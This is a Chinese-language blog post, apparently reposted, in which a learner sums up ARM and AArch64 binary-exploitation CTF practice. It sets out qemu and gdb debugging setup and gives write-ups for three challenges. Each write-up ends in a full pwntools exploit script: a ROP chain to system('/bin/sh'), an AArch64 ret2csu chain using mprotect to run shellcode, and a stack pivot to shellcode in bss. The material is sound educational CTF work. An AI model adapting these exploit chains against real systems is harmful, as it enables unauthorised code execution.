關於學習arm架構下的pwn的總結


通過這段時間對於arm架構的題目學習,自認為收獲還是不少的。下面是對於這段時間關於arm架構的pwn題學習所進行的總結。(我其實還想再多做幾道arm架構的棧題的,可是網上所找到的實在不多,等再遇到新的arm架構題目,我再添到這篇文章上吧)

運行程序&&啟動調試

咋裝的環境已經忘記了...(裝完環境過了一段時間才開始arm架構的學習)裝配環境的話,上網搜一下文章也不少。可以參考這篇文章 (26條消息) CTF pwn -- ARM架構的pwn題詳解___lifanxin的博客-CSDN博客

記錄一下怎么啟動以及調試arm架構的程序。

先checksec一下(或者用file命令也行),看看是什么架構的。

file命令可以查看程序是動態鏈接還是靜態鏈接。

運行程序

如果程序是靜態鏈接並且是32位 arm架構的話,輸入qemu-arm ./程序名

如果程序是靜態鏈接並且是aarch64架構的話,輸入qemu-aarch ./程序名

如果程序是動態鏈接且是32位 arm架構的話,輸入qemu-arm -L /usr/arm-linux-gnueabihf ./程序名

如果程序是動態鏈接且是aarch64架構的話,輸入qemu-aarch64 -L /usr/aarch64-linux-gnu ./程序名

啟動調試

啟動調試和運行程序的命令很相似,僅僅是加了一個參數-g 然后后面跟一個端口

比如程序是動態鏈接的32位 arm架構的話,輸入qemu-arm -g 1234 -L /usr/aarch64-linux-gnu ./程序名

這個1234是你指定的端口,指定別的端口也可以。然后參照運行程序那四個命令以及上面這個命令,就可以依次類推出調試aarch64架構的命令了。

此時再打開另一個終端,輸入gdb-multiarch(必須是用pwndbg,如果是peda的話,是沒法正常調試的

然后再輸入target remote localhost:1234 連接到剛才開的那個端口。

進入調試效果如圖

不知道為啥,arm架構進去調試似乎不是從main函數開始的,如果單步的話需要走很久很久,可以進去之后用b在想停留的那個地方下個斷點,然后c過去,這樣會快很多。

遇見的報錯

1、如果32位遇見這個報錯的話:/lib/ld-linux-armhf.so.3: No such file or directory

輸入命令sudo apt-get install libc6-armhf-cross

2、如果遇見這個報錯的話:Invalid ELF image for this architecture

就說明你的qemu后面跟的參數不對,就比如你這個程序是aarch64架構的,但是你qemu后面跟的是-arm。如果你這個程序是aarch64架構的,正確做法應該是qemu后面跟着-aarch64

然后關於arm架構下的指令,在網上能搜到很多,也解釋的比較清楚,我就不在這里贅述了。

下面三道例題(其實我是想多寫幾道的,但是在網上找到可下載的題目只有這三道(還有個堆題,等學堆了再做))的下載鏈接:

鏈接: https://pan.baidu.com/s/1dRbm8k5qup7Anj9UDrsBlA?pwd=ecpr 提取碼: ecpr

typo

總結:

通過這道題的收獲與學習有:

1、這是做的第一道arm架構的題目,考察的就是最簡單的rop,學習到了arm32的寄存器傳參方式,以及最簡單的rop利用。

2、在面對靜態鏈接的程序,IDA打開之后會發現里面有幾百個函數,而且也搜不到main函數,在這種情況下,可以利用搜索關鍵字符串,通過關鍵字符串去找主函數

3、不知道是不是我的錯覺,在考察簡單的rop情況下,似乎師傅們都沒有去花很多的精力去查看ida生成的偽代碼(確實偽代碼太多了),直接gdb打開看完偏移就是干。

4、在面對靜態鏈接的程序,從ida中分析可能會異常的麻煩,如果有可能的話,其實可以靠輸入內容之后觀察程序的回顯,猜測一些程序功能。

保護策略

IDA分析

打開IDA之后,可以發現是靜態鏈接,旁邊有非常多的函數,難以迅速定位到主函數。因此采用一種比較好用的方法。

先運行一下這個程序,發現有這種字符串

那就在IDA里面用shift+F12,查看一下這個字符串。

然后看一下引用,如此就可以找到主函數了

跳到匯編代碼處,F5一下,即可看到主函數的偽代碼(直接搜main函數的話,也是搜不到的)

直接看偽代碼有點懵,先輸入一些垃圾數據(第一次必須要輸入一個回車),看看是否存在溢出

發現段錯誤了,那就說明存在溢出。然后用gdb調試一下,看看溢出是多少。

最初我企圖用gdb單步到輸入函數,然后輸入垃圾數據,不過單步了很久發現依舊沒有到可輸入的地方,通過去看其他師傅的博客,發現了一個方便的方法。我們啟動gdb之后直接輸入c。c的本意是去continue到下一個斷點,可是我們壓根就沒有下斷點,因此能讓這個continue停下的辦法就是碰到輸入函數(這一招確實妙啊)。

我們第一次先輸入一個回車

插入一點:如果不輸入回車呢?

不輸入回車,去輸入別的內容的話,程序會將我們輸入的內容丟棄第一個字符,從而把后面的內容去當做命令處理。

可以發現第一次輸入了個kkkkkkkkk,結果報了一個command not found。那就說明這個程序試圖將我們輸入的內容當做命令執行。

可是我們輸入ls的話,它說s這個命令沒有被執行,由此猜測,第一個字符被丟棄了。

結合上圖發現,事實確實如此,可是這樣就發現我們輸入的內容當做指令執行的話,程序就結束了,因此我們嘗試只輸入一個回車看看會怎么樣?

程序開始繼續運行了。而且值得一提的是,人家英語也說了,按下回車鍵就會開始。

繼續回歸正題

怎么去確定偏移量?我們采用cyclic去確定輸入點距離返回地址的偏移。

用cyclic填充兩百個字符,然后用cyclic -l得到偏移。

因為這是靜態鏈接,因此我們可以很輕松的去里面拿到我們想要的/bin/sh參數和system函數。

事實上我們沒有辦法搜到system函數,但是猜測一下,system會調用/bin/sh,因此我們先去找一下/bin/sh


如果你的IDA沒有出現上面紅框里面的內容,就說明IDA還沒有把所有的數據裝載完,等一會就行了。

然后點上面紅色框跳轉過來,就是這個函數。

雖然我看不出來他是個system函數,但是有關系嘛?沒有關系。如此,system函數的地址就是 0x10ba8

arm架構的基本知識

arm32位

這個arm32位的話,傳前四個參數是用的r0~r3寄存器,如果參數再多的話,就利用棧傳參(從右向左依次入棧)。函數的返回值會存在r0寄存器中。然后pc寄存器就相當於x86中的eip寄存器(始終裝的都是我們下一條指令執行的地址)除此之外,arm 的 b/bl 等指令實現跳轉

因此我們就先去看看有什么可以控制r0寄存器的gadget。

這個pop r0 r4 pc就很nice。

r4我們隨便填充,pc你可以理解為ret的效果。然后payload格式跟x86的差不多。

EXP:

#coding:utf-8
from pwn import *
p=process('./typo')
offset=112
pop_r0_r4_pc_addr=0x00020904
bin_sh_addr=0x0006c384
sys_addr=0x00010BA8
p.send('\n')
payload=offset*'a'+p32(pop_r0_r4_pc_addr)+p32(bin_sh_addr)+p32(0)+p32(sys_addr)
p.send(payload)
p.interactive()                 

Shanghai2018 – baby_arm

總結:

通過這道題的學習與收獲有:

1、這道題也算是學習了arrch64架構下的ret2csu,與x86中的區別其實並不大。

2、mprotect函數去修改內存屬性,從而執行shellcode

保護策略:

程序分析:

程序邏輯很簡單,read一次輸入,輸入到bss段,沒法溢出。然后sub_4007F0函數也有一次輸入,輸入到棧里,存在溢出。

同時程序中存在一個mprotect函數。

解題過程:

劫持執行流

這道題發現在第二個read結束后,我們的數據並不能覆蓋返回地址(此時返回地址在我們輸入數據的上面)(如下圖)

不過我們發現在0x400860的地方還有一個ret,我們單步到這個ret看看,此時的x30是什么。

可以發現此時的x30,就是距離棧頂為2的內容,而這個內容對應的棧地址0x40007fffb8則是在我們第二次read輸入的起始地址下面,也就是說我們可以控制這個地址,從而來劫持程序的執行流。

ret2csu?

由於mprotect函數可以改變內存的屬性,本來這道題是bss段是只能寫的,不過我們可以用mprotect將bss段變成可執行,然后往里面輸入個shellcode就ok了。怎么控制mprotect的參數?

我們發現,arm架構下,也有一段匯編可以控制寄存器參數(完全可以把這段當成x86中的csu)

先分析下面的loc_4008cc的內容

LDP             X19, X20, [SP,#var_s10]
LDP             X21, X22, [SP,#var_s20]
LDP             X23, X24, [SP,#var_s30]
LDP             X29, X30, [SP+var_s0],#0x40                
RET

第一句這個LDP X19, X20, [SP,#var_s10]就是說將SP+0x10所指向的內容給x19和x20寄存器(x19寄存器拿的是SP+0x10所指向的內容,而x20寄存器拿的是SP+0x18所指向的內容)

然后第四句這個LDP X29, X30, [SP+var_s0],#0x40的意思是將SP所指向的內容給x29和x30寄存器(x29寄存器拿的是SP所指向的內容,而x30寄存器拿的是SP+0x8所指向的內容),完成這句指令之后,再將SP指針增加0x40個字節。

然后ret,這個就是返回到x30寄存器所存儲的值。

再結合着剛剛分析的內容,來看一下loc_4008ac的內容。

LDR             X3, [X21,X19,LSL#3]
MOV             X2, X22
MOV             X1, X23
MOV             W0, W24
ADD             X19, X19, #1
BLR             X3
CMP             X19, X20
B.NE            loc_4008AC

第一句就是說將x19的值邏輯左移3位,然后加上x21的值,將得到的這個值所指向內容給x3寄存器。(如果我們控制x19的值為0的話,就是說把x21寄存器的值所指向的內容給x3寄存器。

然后剩下的mov,add就沒什么好說的了。

倒數第三行BLR指令是去跳轉到X3寄存器的值,同時把下一個指令的地址存到x30里面。

然后下面的CMP和x86里面的一樣了。

如此思路就出來了,幾乎是跟ret2csu的利用方法一樣。有兩點需要注意一下。第一點就是loc_4008cc中的

LDP X29, X30, [SP+var_s0],#0x40 這個指令,雖然它是在這個loc_4008cc函數的最后,但是它傳給x29和x30寄存器的時候,拿的是棧頂的值。因此布置棧中數據的時候,棧頂的內容應該是存放的x29和x30的值。

第二點,是BLR X3的時候,這個X3的值溯源一下,它是由X21充當指針來指向的,而X21的值又是SP+0x20充當指針來指向的。意思就是說,我們最終想跳轉的內容必須被指針的指針所指向,因此考慮的是將X3的內容放在bss段,然后X21去存儲bss段的地址(指向X3的內容),然后再把X21的值布置在棧里面。最后X3的值放入mprotect的plt地址即可(因為BLR跳的話,直接跳到了寄存器的值處,因此這里應該放的是plt地址(要求這個地址裝的就是指令),got地址(裝的是got表,而got表中裝的才是指令)是用於指針尋址跳轉的情況,當時在這里迷了一下)。

EXP

#coding:utf-8
from pwn import *
context(arch='aarch64',os='linux',log_level='debug')
p=remote('node4.buuoj.cn',26705)
e=ELF('./zhengchang')
mprotect_got=e.got['mprotect']
mprotect_plt=e.plt['mprotect']
offset=0x48
bss_addr=0x411068
csu1=0x4008CC
csu2=0x4008AC
shellcode=asm(shellcraft.aarch64.sh())
shellcode=shellcode.ljust(0x100,'\x00')
shellcode+=p64(mprotect_plt)
payload1=shellcode
p.sendlineafter('Name:',payload1)
payload2=offset*'a'+p64(csu1)
payload2+=p64(0)+p64(csu2) #x29 x30
payload2+=p64(0)+p64(1) #x19 x20
payload2+=p64(bss_addr+0x100)+p64(7)#x21 x22  分別賦值給了x3 x2
payload2+=p64(0x1000)+p64(0x411000)#x23 x24  分別賦值給了x1 w0
payload2+=p64(0)+p64(bss_addr)#x29 x30
payload2+=p64(0)+p64(0)#x19 x20
payload2+=p64(0)+p64(0)#x21 x22
payload2+=p64(0)+p64(0)#x23 x24
pause()
p.sendline(payload2)
p.interactive()

inctf2018_wARMup

總結:

通過這道題的學習與收獲有:

1、arm架構(32位)的bss段是可執行的!

2、這道題考察的是棧遷移,以及通過調試來確定payload的布局。這道題是比較鍛煉調試能力的(至少對於現在的我來說),鍛煉調試能力,我指的是不看exp的情況下,自己做這道題...

3、現在也做了三道arm架構的題了,說實話和x86下的區別不大。只要熟悉x86的做題思路,做這種題,應該很快就能適應。

保護策略:

程序分析:

存在溢出點,但是可溢出的字節很少,因此考慮棧遷移。且沒有后門函數

這道題我有的地方寫的是R11(是因為IDA上看是R11),有的地方寫的fp(因為gdb里看的是fp),實際上這倆就是一個東西。

大致思路:

棧遷移的話,考慮遷移到BSS段,同時觀察匯編,發現read的第二個參數(即輸入的地址)是由R3傳遞的,而R3的值是由R11來傳遞的

同時在最后,又有一個pop指令來控制R11和PC,因此我們是可以控制R11(也就是read的第二個參數)和程序執行流的(PC)

經過調試發現,這個fp距離我們輸入起始的地址偏移為100,這就意味着我們需要填充100個垃圾數據,然后來控制fp以及pc。

因此第一次輸入的時候,控制fp,讓其為bss段地址(遷移的時候bss段盡量抬高),然后將返回地址read地址,再跑一次,讓我們的第二次payload輸入到bss段。

arm架構(32位)的bss段是可執行的,盡管用vmmap看的是可寫不可執行(但是布置進去的shellcode確實可以執行)

因此我們就要把shellcode布置在bss段。這道題是十分鍛煉自主的調試能力的,可以看見我的exp是在shellcode前面布置了兩個內容,這里我並不想解釋原因。最開始我自己做這道題的時候並沒有寫這兩個內容,當時我認為直接把bss段寫shellcode就行,然后控制PC指針執行過去,事實上這樣做是錯誤的。原因請自主調試,這里考察了自主調試來布局payload(如果你可以眼睛看出來payload整體布局的話,當我什么都沒說),如果連這里到最后都不理解而且還稀里糊塗的交了flag的話,那做這道題是毫無意義的。

大致思路就是這樣(第二次輸入布置shellcode,然后控制PC寄存器,將其指向shellcode的位置)剩下的具體細節真的沒有辦法記錄,因為剩下的布局都是一點一點調試出來的。

關於對調試能力的總結:

我這里說一下我從剛開始學pwn,到現在也剛好是四個月了。總結了一下的調試經驗(有可能在各位師傅面前算是班門弄斧了,但這依然是對這四個月所掌握的調試能力的一個記錄)。

第一,你要時刻清楚你自己想要看的內容以及自己卡在了哪里

第二,在調試的過程中,遇到卡住的地方,要思考為什么會這樣。

第三,在鍛煉調試能力的時候,剛開始有的地方可能不知道卡住的原因是什么,建議找一份可以打通(和你思路相近的)的exp,去調試一下,再反復對比自己exp的動態調試,這樣很容易找到問題。

第四,就是可能你認為你的思路很對,但就是打不通,而別人的思路都和你的不一樣,由衷建議,不要放棄你的思路,到最后無非是兩種可能,你通過堅持以及思考打通了自己的exp,又或者是你通過反復調試,最后發現自己的思路是錯誤的,不可行的。但其實不論結果,這個堅持的過程已經讓你的調試能力有了不小的進步。

EXP

#coding:utf-8
from pwn import *
context(arch='arm',os='linux',log_level='debug')
#p=remote('node4.buuoj.cn',26705)
#p=process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./armup_buu"])
p=process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./armup_buu"])
e=ELF('./armup_buu')
bss_addr=0x21000+0x600
read_addr=0x0001052C
offset=100
sleep(0.2)
payload=offset*'a'+p32(bss_addr+0x68)+p32(read_addr)#因為sub減去了0x68,所以這里提前加上0x68
p.send(payload)
sleep(0.2)
shellcode=p32(0)+p32(bss_addr+8)+asm(shellcraft.sh())
payload=shellcode
payload=payload.ljust(0x64,'\x00')
payload+=p32(bss_addr+4)+p32(0x10548)#bss_addr+4是將sp設置成bss_addr(不過這一步只是將參數給R11,將sp賦值是下面的操作)    將pc設置為0x10548的目的是再執行一遍 SUB     SP, R11     POP     {R11,PC}
#這樣來修改sp的值,如果不修改sp的值的話,執行shellcode的時候,有個指令會將棧里(此時是bss段)的值修改,從而導致shellcode執行失敗。
#上述的內容用一句話說就是,要將棧遷移到執行流的地方。不然shellcode會把自身給破壞了... 要是不相信的話,可以不要這兩個指令,然后調試一下,就明白咋回事了
p.send(payload)
p.interactive()

尾聲:

這次學習了arm架構下的pwn題,這意味着在學習pwn的過程中,對於棧的學習已經到了尾聲,之后的打算是再學習一下mips架構下的pwn題,然后再練幾道稍微難點的棧題,就准備進入堆的部分了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM